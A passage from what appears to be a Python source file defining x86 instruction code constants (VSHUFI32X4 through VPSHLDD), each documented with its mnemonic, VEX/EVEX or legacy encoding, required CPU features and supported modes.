``EVEX.512.66.0F3A.W0 42 /r ib``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VSHUFI32X4_YMM_K1Z_YMM_YMMM256B32_IMM8: int = 3906
"""
``VSHUFI32X4 ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst, imm8``
``EVEX.256.66.0F3A.W0 43 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSHUFI32X4_ZMM_K1Z_ZMM_ZMMM512B32_IMM8: int = 3907
"""
``VSHUFI32X4 zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst, imm8``
``EVEX.512.66.0F3A.W0 43 /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VSHUFI64X2_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 3908
"""
``VSHUFI64X2 ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst, imm8``
``EVEX.256.66.0F3A.W1 43 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSHUFI64X2_ZMM_K1Z_ZMM_ZMMM512B64_IMM8: int = 3909
"""
``VSHUFI64X2 zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst, imm8``
``EVEX.512.66.0F3A.W1 43 /r ib``
``AVX512F``
``16/32/64-bit``
"""
PCLMULQDQ_XMM_XMMM128_IMM8: int = 3910
"""
``PCLMULQDQ xmm1, xmm2/m128, imm8``
``66 0F 3A 44 /r ib``
``PCLMULQDQ``
``16/32/64-bit``
"""
VEX_VPCLMULQDQ_XMM_XMM_XMMM128_IMM8: int = 3911
"""
``VPCLMULQDQ xmm1, xmm2, xmm3/m128, imm8``
``VEX.128.66.0F3A.WIG 44 /r ib``
``PCLMULQDQ and AVX``
``16/32/64-bit``
"""
VEX_VPCLMULQDQ_YMM_YMM_YMMM256_IMM8: int = 3912
"""
``VPCLMULQDQ ymm1, ymm2, ymm3/m256, imm8``
``VEX.256.66.0F3A.WIG 44 /r ib``
``VPCLMULQDQ``
``16/32/64-bit``
"""
EVEX_VPCLMULQDQ_XMM_XMM_XMMM128_IMM8: int = 3913
"""
``VPCLMULQDQ xmm1, xmm2, xmm3/m128, imm8``
``EVEX.128.66.0F3A.WIG 44 /r ib``
``AVX512VL and VPCLMULQDQ``
``16/32/64-bit``
"""
EVEX_VPCLMULQDQ_YMM_YMM_YMMM256_IMM8: int = 3914
"""
``VPCLMULQDQ ymm1, ymm2, ymm3/m256, imm8``
``EVEX.256.66.0F3A.WIG 44 /r ib``
``AVX512VL and VPCLMULQDQ``
``16/32/64-bit``
"""
EVEX_VPCLMULQDQ_ZMM_ZMM_ZMMM512_IMM8: int = 3915
"""
``VPCLMULQDQ zmm1, zmm2, zmm3/m512, imm8``
``EVEX.512.66.0F3A.WIG 44 /r ib``
``AVX512F and VPCLMULQDQ``
``16/32/64-bit``
"""
VEX_VPERM2I128_YMM_YMM_YMMM256_IMM8: int = 3916
"""
``VPERM2I128 ymm1, ymm2, ymm3/m256, imm8``
``VEX.256.66.0F3A.W0 46 /r ib``
``AVX2``
``16/32/64-bit``
"""
VEX_VPERMIL2PS_XMM_XMM_XMMM128_XMM_IMM4: int = 3917
"""
``VPERMIL2PS xmm1, xmm2, xmm3/m128, xmm4, imm4``
``VEX.128.66.0F3A.W0 48 /r /is5``
``XOP``
``16/32/64-bit``
"""
VEX_VPERMIL2PS_YMM_YMM_YMMM256_YMM_IMM4: int = 3918
"""
``VPERMIL2PS ymm1, ymm2, ymm3/m256, ymm4, imm4``
``VEX.256.66.0F3A.W0 48 /r /is5``
``XOP``
``16/32/64-bit``
"""
VEX_VPERMIL2PS_XMM_XMM_XMM_XMMM128_IMM4: int = 3919
"""
``VPERMIL2PS xmm1, xmm2, xmm3, xmm4/m128, imm4``
``VEX.128.66.0F3A.W1 48 /r /is5``
``XOP``
``16/32/64-bit``
"""
VEX_VPERMIL2PS_YMM_YMM_YMM_YMMM256_IMM4: int = 3920
"""
``VPERMIL2PS ymm1, ymm2, ymm3, ymm4/m256, imm4``
``VEX.256.66.0F3A.W1 48 /r /is5``
``XOP``
``16/32/64-bit``
"""
VEX_VPERMIL2PD_XMM_XMM_XMMM128_XMM_IMM4: int = 3921
"""
``VPERMIL2PD xmm1, xmm2, xmm3/m128, xmm4, imm4``
``VEX.128.66.0F3A.W0 49 /r /is5``
``XOP``
``16/32/64-bit``
"""
VEX_VPERMIL2PD_YMM_YMM_YMMM256_YMM_IMM4: int = 3922
"""
``VPERMIL2PD ymm1, ymm2, ymm3/m256, ymm4, imm4``
``VEX.256.66.0F3A.W0 49 /r /is5``
``XOP``
``16/32/64-bit``
"""
VEX_VPERMIL2PD_XMM_XMM_XMM_XMMM128_IMM4: int = 3923
"""
``VPERMIL2PD xmm1, xmm2, xmm3, xmm4/m128, imm4``
``VEX.128.66.0F3A.W1 49 /r /is5``
``XOP``
``16/32/64-bit``
"""
VEX_VPERMIL2PD_YMM_YMM_YMM_YMMM256_IMM4: int = 3924
"""
``VPERMIL2PD ymm1, ymm2, ymm3, ymm4/m256, imm4``
``VEX.256.66.0F3A.W1 49 /r /is5``
``XOP``
``16/32/64-bit``
"""
VEX_VBLENDVPS_XMM_XMM_XMMM128_XMM: int = 3925
"""
``VBLENDVPS xmm1, xmm2, xmm3/m128, xmm4``
``VEX.128.66.0F3A.W0 4A /r /is4``
``AVX``
``16/32/64-bit``
"""
VEX_VBLENDVPS_YMM_YMM_YMMM256_YMM: int = 3926
"""
``VBLENDVPS ymm1, ymm2, ymm3/m256, ymm4``
``VEX.256.66.0F3A.W0 4A /r /is4``
``AVX``
``16/32/64-bit``
"""
VEX_VBLENDVPD_XMM_XMM_XMMM128_XMM: int = 3927
"""
``VBLENDVPD xmm1, xmm2, xmm3/m128, xmm4``
``VEX.128.66.0F3A.W0 4B /r /is4``
``AVX``
``16/32/64-bit``
"""
VEX_VBLENDVPD_YMM_YMM_YMMM256_YMM: int = 3928
"""
``VBLENDVPD ymm1, ymm2, ymm3/m256, ymm4``
``VEX.256.66.0F3A.W0 4B /r /is4``
``AVX``
``16/32/64-bit``
"""
VEX_VPBLENDVB_XMM_XMM_XMMM128_XMM: int = 3929
"""
``VPBLENDVB xmm1, xmm2, xmm3/m128, xmm4``
``VEX.128.66.0F3A.W0 4C /r /is4``
``AVX``
``16/32/64-bit``
"""
VEX_VPBLENDVB_YMM_YMM_YMMM256_YMM: int = 3930
"""
``VPBLENDVB ymm1, ymm2, ymm3/m256, ymm4``
``VEX.256.66.0F3A.W0 4C /r /is4``
``AVX2``
``16/32/64-bit``
"""
EVEX_VRANGEPS_XMM_K1Z_XMM_XMMM128B32_IMM8: int = 3931
"""
``VRANGEPS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst, imm8``
``EVEX.128.66.0F3A.W0 50 /r ib``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VRANGEPS_YMM_K1Z_YMM_YMMM256B32_IMM8: int = 3932
"""
``VRANGEPS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst, imm8``
``EVEX.256.66.0F3A.W0 50 /r ib``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VRANGEPS_ZMM_K1Z_ZMM_ZMMM512B32_IMM8_SAE: int = 3933
"""
``VRANGEPS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{sae}, imm8``
``EVEX.512.66.0F3A.W0 50 /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VRANGEPD_XMM_K1Z_XMM_XMMM128B64_IMM8: int = 3934
"""
``VRANGEPD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst, imm8``
``EVEX.128.66.0F3A.W1 50 /r ib``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VRANGEPD_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 3935
"""
``VRANGEPD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst, imm8``
``EVEX.256.66.0F3A.W1 50 /r ib``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VRANGEPD_ZMM_K1Z_ZMM_ZMMM512B64_IMM8_SAE: int = 3936
"""
``VRANGEPD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{sae}, imm8``
``EVEX.512.66.0F3A.W1 50 /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VRANGESS_XMM_K1Z_XMM_XMMM32_IMM8_SAE: int = 3937
"""
``VRANGESS xmm1 {k1}{z}, xmm2, xmm3/m32{sae}, imm8``
``EVEX.LIG.66.0F3A.W0 51 /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VRANGESD_XMM_K1Z_XMM_XMMM64_IMM8_SAE: int = 3938
"""
``VRANGESD xmm1 {k1}{z}, xmm2, xmm3/m64{sae}, imm8``
``EVEX.LIG.66.0F3A.W1 51 /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VFIXUPIMMPS_XMM_K1Z_XMM_XMMM128B32_IMM8: int = 3939
"""
``VFIXUPIMMPS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst, imm8``
``EVEX.128.66.0F3A.W0 54 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFIXUPIMMPS_YMM_K1Z_YMM_YMMM256B32_IMM8: int = 3940
"""
``VFIXUPIMMPS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst, imm8``
``EVEX.256.66.0F3A.W0 54 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFIXUPIMMPS_ZMM_K1Z_ZMM_ZMMM512B32_IMM8_SAE: int = 3941
"""
``VFIXUPIMMPS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{sae}, imm8``
``EVEX.512.66.0F3A.W0 54 /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFIXUPIMMPD_XMM_K1Z_XMM_XMMM128B64_IMM8: int = 3942
"""
``VFIXUPIMMPD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst, imm8``
``EVEX.128.66.0F3A.W1 54 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFIXUPIMMPD_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 3943
"""
``VFIXUPIMMPD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst, imm8``
``EVEX.256.66.0F3A.W1 54 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VFIXUPIMMPD_ZMM_K1Z_ZMM_ZMMM512B64_IMM8_SAE: int = 3944
"""
``VFIXUPIMMPD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{sae}, imm8``
``EVEX.512.66.0F3A.W1 54 /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFIXUPIMMSS_XMM_K1Z_XMM_XMMM32_IMM8_SAE: int = 3945
"""
``VFIXUPIMMSS xmm1 {k1}{z}, xmm2, xmm3/m32{sae}, imm8``
``EVEX.LIG.66.0F3A.W0 55 /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VFIXUPIMMSD_XMM_K1Z_XMM_XMMM64_IMM8_SAE: int = 3946
"""
``VFIXUPIMMSD xmm1 {k1}{z}, xmm2, xmm3/m64{sae}, imm8``
``EVEX.LIG.66.0F3A.W1 55 /r ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VREDUCEPS_XMM_K1Z_XMMM128B32_IMM8: int = 3947
"""
``VREDUCEPS xmm1 {k1}{z}, xmm2/m128/m32bcst, imm8``
``EVEX.128.66.0F3A.W0 56 /r ib``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VREDUCEPS_YMM_K1Z_YMMM256B32_IMM8: int = 3948
"""
``VREDUCEPS ymm1 {k1}{z}, ymm2/m256/m32bcst, imm8``
``EVEX.256.66.0F3A.W0 56 /r ib``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VREDUCEPS_ZMM_K1Z_ZMMM512B32_IMM8_SAE: int = 3949
"""
``VREDUCEPS zmm1 {k1}{z}, zmm2/m512/m32bcst{sae}, imm8``
``EVEX.512.66.0F3A.W0 56 /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VREDUCEPD_XMM_K1Z_XMMM128B64_IMM8: int = 3950
"""
``VREDUCEPD xmm1 {k1}{z}, xmm2/m128/m64bcst, imm8``
``EVEX.128.66.0F3A.W1 56 /r ib``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VREDUCEPD_YMM_K1Z_YMMM256B64_IMM8: int = 3951
"""
``VREDUCEPD ymm1 {k1}{z}, ymm2/m256/m64bcst, imm8``
``EVEX.256.66.0F3A.W1 56 /r ib``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VREDUCEPD_ZMM_K1Z_ZMMM512B64_IMM8_SAE: int = 3952
"""
``VREDUCEPD zmm1 {k1}{z}, zmm2/m512/m64bcst{sae}, imm8``
``EVEX.512.66.0F3A.W1 56 /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VREDUCESS_XMM_K1Z_XMM_XMMM32_IMM8_SAE: int = 3953
"""
``VREDUCESS xmm1 {k1}{z}, xmm2, xmm3/m32{sae}, imm8``
``EVEX.LIG.66.0F3A.W0 57 /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VREDUCESD_XMM_K1Z_XMM_XMMM64_IMM8_SAE: int = 3954
"""
``VREDUCESD xmm1 {k1}{z}, xmm2, xmm3/m64{sae}, imm8``
``EVEX.LIG.66.0F3A.W1 57 /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
VEX_VFMADDSUBPS_XMM_XMM_XMMM128_XMM: int = 3955
"""
``VFMADDSUBPS xmm1, xmm2, xmm3/m128, xmm4``
``VEX.128.66.0F3A.W0 5C /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMADDSUBPS_YMM_YMM_YMMM256_YMM: int = 3956
"""
``VFMADDSUBPS ymm1, ymm2, ymm3/m256, ymm4``
``VEX.256.66.0F3A.W0 5C /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMADDSUBPS_XMM_XMM_XMM_XMMM128: int = 3957
"""
``VFMADDSUBPS xmm1, xmm2, xmm3, xmm4/m128``
``VEX.128.66.0F3A.W1 5C /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMADDSUBPS_YMM_YMM_YMM_YMMM256: int = 3958
"""
``VFMADDSUBPS ymm1, ymm2, ymm3, ymm4/m256``
``VEX.256.66.0F3A.W1 5C /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMADDSUBPD_XMM_XMM_XMMM128_XMM: int = 3959
"""
``VFMADDSUBPD xmm1, xmm2, xmm3/m128, xmm4``
``VEX.128.66.0F3A.W0 5D /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMADDSUBPD_YMM_YMM_YMMM256_YMM: int = 3960
"""
``VFMADDSUBPD ymm1, ymm2, ymm3/m256, ymm4``
``VEX.256.66.0F3A.W0 5D /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMADDSUBPD_XMM_XMM_XMM_XMMM128: int = 3961
"""
``VFMADDSUBPD xmm1, xmm2, xmm3, xmm4/m128``
``VEX.128.66.0F3A.W1 5D /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMADDSUBPD_YMM_YMM_YMM_YMMM256: int = 3962
"""
``VFMADDSUBPD ymm1, ymm2, ymm3, ymm4/m256``
``VEX.256.66.0F3A.W1 5D /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMSUBADDPS_XMM_XMM_XMMM128_XMM: int = 3963
"""
``VFMSUBADDPS xmm1, xmm2, xmm3/m128, xmm4``
``VEX.128.66.0F3A.W0 5E /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMSUBADDPS_YMM_YMM_YMMM256_YMM: int = 3964
"""
``VFMSUBADDPS ymm1, ymm2, ymm3/m256, ymm4``
``VEX.256.66.0F3A.W0 5E /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMSUBADDPS_XMM_XMM_XMM_XMMM128: int = 3965
"""
``VFMSUBADDPS xmm1, xmm2, xmm3, xmm4/m128``
``VEX.128.66.0F3A.W1 5E /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMSUBADDPS_YMM_YMM_YMM_YMMM256: int = 3966
"""
``VFMSUBADDPS ymm1, ymm2, ymm3, ymm4/m256``
``VEX.256.66.0F3A.W1 5E /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMSUBADDPD_XMM_XMM_XMMM128_XMM: int = 3967
"""
``VFMSUBADDPD xmm1, xmm2, xmm3/m128, xmm4``
``VEX.128.66.0F3A.W0 5F /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMSUBADDPD_YMM_YMM_YMMM256_YMM: int = 3968
"""
``VFMSUBADDPD ymm1, ymm2, ymm3/m256, ymm4``
``VEX.256.66.0F3A.W0 5F /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMSUBADDPD_XMM_XMM_XMM_XMMM128: int = 3969
"""
``VFMSUBADDPD xmm1, xmm2, xmm3, xmm4/m128``
``VEX.128.66.0F3A.W1 5F /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMSUBADDPD_YMM_YMM_YMM_YMMM256: int = 3970
"""
``VFMSUBADDPD ymm1, ymm2, ymm3, ymm4/m256``
``VEX.256.66.0F3A.W1 5F /r /is4``
``FMA4``
``16/32/64-bit``
"""
PCMPESTRM_XMM_XMMM128_IMM8: int = 3971
"""
``PCMPESTRM xmm1, xmm2/m128, imm8``
``66 0F 3A 60 /r ib``
``SSE4.2``
``16/32/64-bit``
"""
PCMPESTRM64_XMM_XMMM128_IMM8: int = 3972
"""
``PCMPESTRM64 xmm1, xmm2/m128, imm8``
``66 o64 0F 3A 60 /r ib``
``SSE4.2``
``64-bit``
"""
VEX_VPCMPESTRM_XMM_XMMM128_IMM8: int = 3973
"""
``VPCMPESTRM xmm1, xmm2/m128, imm8``
``VEX.128.66.0F3A.W0 60 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPCMPESTRM64_XMM_XMMM128_IMM8: int = 3974
"""
``VPCMPESTRM64 xmm1, xmm2/m128, imm8``
``VEX.128.66.0F3A.W1 60 /r ib``
``AVX``
``64-bit``
"""
PCMPESTRI_XMM_XMMM128_IMM8: int = 3975
"""
``PCMPESTRI xmm1, xmm2/m128, imm8``
``66 0F 3A 61 /r ib``
``SSE4.2``
``16/32/64-bit``
"""
PCMPESTRI64_XMM_XMMM128_IMM8: int = 3976
"""
``PCMPESTRI64 xmm1, xmm2/m128, imm8``
``66 o64 0F 3A 61 /r ib``
``SSE4.2``
``64-bit``
"""
VEX_VPCMPESTRI_XMM_XMMM128_IMM8: int = 3977
"""
``VPCMPESTRI xmm1, xmm2/m128, imm8``
``VEX.128.66.0F3A.W0 61 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPCMPESTRI64_XMM_XMMM128_IMM8: int = 3978
"""
``VPCMPESTRI64 xmm1, xmm2/m128, imm8``
``VEX.128.66.0F3A.W1 61 /r ib``
``AVX``
``64-bit``
"""
PCMPISTRM_XMM_XMMM128_IMM8: int = 3979
"""
``PCMPISTRM xmm1, xmm2/m128, imm8``
``66 0F 3A 62 /r ib``
``SSE4.2``
``16/32/64-bit``
"""
VEX_VPCMPISTRM_XMM_XMMM128_IMM8: int = 3980
"""
``VPCMPISTRM xmm1, xmm2/m128, imm8``
``VEX.128.66.0F3A.WIG 62 /r ib``
``AVX``
``16/32/64-bit``
"""
PCMPISTRI_XMM_XMMM128_IMM8: int = 3981
"""
``PCMPISTRI xmm1, xmm2/m128, imm8``
``66 0F 3A 63 /r ib``
``SSE4.2``
``16/32/64-bit``
"""
VEX_VPCMPISTRI_XMM_XMMM128_IMM8: int = 3982
"""
``VPCMPISTRI xmm1, xmm2/m128, imm8``
``VEX.128.66.0F3A.WIG 63 /r ib``
``AVX``
``16/32/64-bit``
"""
EVEX_VFPCLASSPS_KR_K1_XMMM128B32_IMM8: int = 3983
"""
``VFPCLASSPS k2 {k1}, xmm2/m128/m32bcst, imm8``
``EVEX.128.66.0F3A.W0 66 /r ib``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VFPCLASSPS_KR_K1_YMMM256B32_IMM8: int = 3984
"""
``VFPCLASSPS k2 {k1}, ymm2/m256/m32bcst, imm8``
``EVEX.256.66.0F3A.W0 66 /r ib``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VFPCLASSPS_KR_K1_ZMMM512B32_IMM8: int = 3985
"""
``VFPCLASSPS k2 {k1}, zmm2/m512/m32bcst, imm8``
``EVEX.512.66.0F3A.W0 66 /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VFPCLASSPD_KR_K1_XMMM128B64_IMM8: int = 3986
"""
``VFPCLASSPD k2 {k1}, xmm2/m128/m64bcst, imm8``
``EVEX.128.66.0F3A.W1 66 /r ib``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VFPCLASSPD_KR_K1_YMMM256B64_IMM8: int = 3987
"""
``VFPCLASSPD k2 {k1}, ymm2/m256/m64bcst, imm8``
``EVEX.256.66.0F3A.W1 66 /r ib``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VFPCLASSPD_KR_K1_ZMMM512B64_IMM8: int = 3988
"""
``VFPCLASSPD k2 {k1}, zmm2/m512/m64bcst, imm8``
``EVEX.512.66.0F3A.W1 66 /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VFPCLASSSS_KR_K1_XMMM32_IMM8: int = 3989
"""
``VFPCLASSSS k2 {k1}, xmm2/m32, imm8``
``EVEX.LIG.66.0F3A.W0 67 /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VFPCLASSSD_KR_K1_XMMM64_IMM8: int = 3990
"""
``VFPCLASSSD k2 {k1}, xmm2/m64, imm8``
``EVEX.LIG.66.0F3A.W1 67 /r ib``
``AVX512DQ``
``16/32/64-bit``
"""
VEX_VFMADDPS_XMM_XMM_XMMM128_XMM: int = 3991
"""
``VFMADDPS xmm1, xmm2, xmm3/m128, xmm4``
``VEX.128.66.0F3A.W0 68 /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMADDPS_YMM_YMM_YMMM256_YMM: int = 3992
"""
``VFMADDPS ymm1, ymm2, ymm3/m256, ymm4``
``VEX.256.66.0F3A.W0 68 /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMADDPS_XMM_XMM_XMM_XMMM128: int = 3993
"""
``VFMADDPS xmm1, xmm2, xmm3, xmm4/m128``
``VEX.128.66.0F3A.W1 68 /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMADDPS_YMM_YMM_YMM_YMMM256: int = 3994
"""
``VFMADDPS ymm1, ymm2, ymm3, ymm4/m256``
``VEX.256.66.0F3A.W1 68 /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMADDPD_XMM_XMM_XMMM128_XMM: int = 3995
"""
``VFMADDPD xmm1, xmm2, xmm3/m128, xmm4``
``VEX.128.66.0F3A.W0 69 /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMADDPD_YMM_YMM_YMMM256_YMM: int = 3996
"""
``VFMADDPD ymm1, ymm2, ymm3/m256, ymm4``
``VEX.256.66.0F3A.W0 69 /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMADDPD_XMM_XMM_XMM_XMMM128: int = 3997
"""
``VFMADDPD xmm1, xmm2, xmm3, xmm4/m128``
``VEX.128.66.0F3A.W1 69 /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMADDPD_YMM_YMM_YMM_YMMM256: int = 3998
"""
``VFMADDPD ymm1, ymm2, ymm3, ymm4/m256``
``VEX.256.66.0F3A.W1 69 /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMADDSS_XMM_XMM_XMMM32_XMM: int = 3999
"""
``VFMADDSS xmm1, xmm2, xmm3/m32, xmm4``
``VEX.LIG.66.0F3A.W0 6A /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMADDSS_XMM_XMM_XMM_XMMM32: int = 4000
"""
``VFMADDSS xmm1, xmm2, xmm3, xmm4/m32``
``VEX.LIG.66.0F3A.W1 6A /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMADDSD_XMM_XMM_XMMM64_XMM: int = 4001
"""
``VFMADDSD xmm1, xmm2, xmm3/m64, xmm4``
``VEX.LIG.66.0F3A.W0 6B /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMADDSD_XMM_XMM_XMM_XMMM64: int = 4002
"""
``VFMADDSD xmm1, xmm2, xmm3, xmm4/m64``
``VEX.LIG.66.0F3A.W1 6B /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMSUBPS_XMM_XMM_XMMM128_XMM: int = 4003
"""
``VFMSUBPS xmm1, xmm2, xmm3/m128, xmm4``
``VEX.128.66.0F3A.W0 6C /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMSUBPS_YMM_YMM_YMMM256_YMM: int = 4004
"""
``VFMSUBPS ymm1, ymm2, ymm3/m256, ymm4``
``VEX.256.66.0F3A.W0 6C /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMSUBPS_XMM_XMM_XMM_XMMM128: int = 4005
"""
``VFMSUBPS xmm1, xmm2, xmm3, xmm4/m128``
``VEX.128.66.0F3A.W1 6C /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMSUBPS_YMM_YMM_YMM_YMMM256: int = 4006
"""
``VFMSUBPS ymm1, ymm2, ymm3, ymm4/m256``
``VEX.256.66.0F3A.W1 6C /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMSUBPD_XMM_XMM_XMMM128_XMM: int = 4007
"""
``VFMSUBPD xmm1, xmm2, xmm3/m128, xmm4``
``VEX.128.66.0F3A.W0 6D /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMSUBPD_YMM_YMM_YMMM256_YMM: int = 4008
"""
``VFMSUBPD ymm1, ymm2, ymm3/m256, ymm4``
``VEX.256.66.0F3A.W0 6D /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMSUBPD_XMM_XMM_XMM_XMMM128: int = 4009
"""
``VFMSUBPD xmm1, xmm2, xmm3, xmm4/m128``
``VEX.128.66.0F3A.W1 6D /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMSUBPD_YMM_YMM_YMM_YMMM256: int = 4010
"""
``VFMSUBPD ymm1, ymm2, ymm3, ymm4/m256``
``VEX.256.66.0F3A.W1 6D /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMSUBSS_XMM_XMM_XMMM32_XMM: int = 4011
"""
``VFMSUBSS xmm1, xmm2, xmm3/m32, xmm4``
``VEX.LIG.66.0F3A.W0 6E /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMSUBSS_XMM_XMM_XMM_XMMM32: int = 4012
"""
``VFMSUBSS xmm1, xmm2, xmm3, xmm4/m32``
``VEX.LIG.66.0F3A.W1 6E /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMSUBSD_XMM_XMM_XMMM64_XMM: int = 4013
"""
``VFMSUBSD xmm1, xmm2, xmm3/m64, xmm4``
``VEX.LIG.66.0F3A.W0 6F /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFMSUBSD_XMM_XMM_XMM_XMMM64: int = 4014
"""
``VFMSUBSD xmm1, xmm2, xmm3, xmm4/m64``
``VEX.LIG.66.0F3A.W1 6F /r /is4``
``FMA4``
``16/32/64-bit``
"""
EVEX_VPSHLDW_XMM_K1Z_XMM_XMMM128_IMM8: int = 4015
"""
``VPSHLDW xmm1 {k1}{z}, xmm2, xmm3/m128, imm8``
``EVEX.128.66.0F3A.W1 70 /r ib``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHLDW_YMM_K1Z_YMM_YMMM256_IMM8: int = 4016
"""
``VPSHLDW ymm1 {k1}{z}, ymm2, ymm3/m256, imm8``
``EVEX.256.66.0F3A.W1 70 /r ib``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHLDW_ZMM_K1Z_ZMM_ZMMM512_IMM8: int = 4017
"""
``VPSHLDW zmm1 {k1}{z}, zmm2, zmm3/m512, imm8``
``EVEX.512.66.0F3A.W1 70 /r ib``
``AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHLDD_XMM_K1Z_XMM_XMMM128B32_IMM8: int = 4018
"""
``VPSHLDD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst, imm8``
``EVEX.128.66.0F3A.W0 71 /r ib``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHLDD_YMM_K1Z_YMM_YMMM256B32_IMM8: int = 4019
"""
``VPSHLDD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst, imm8``
``EVEX.256.66.0F3A.W0 71 /r ib``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHLDD_ZMM_K1Z_ZMM_ZMMM512B32_IMM8: int = 4020
"""
``VPSHLDD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst, imm8``
``EVEX.512.66.0F3A.W0 71 /r ib``
``AVX512_VBMI2``
``16/32/64-bit``
"""
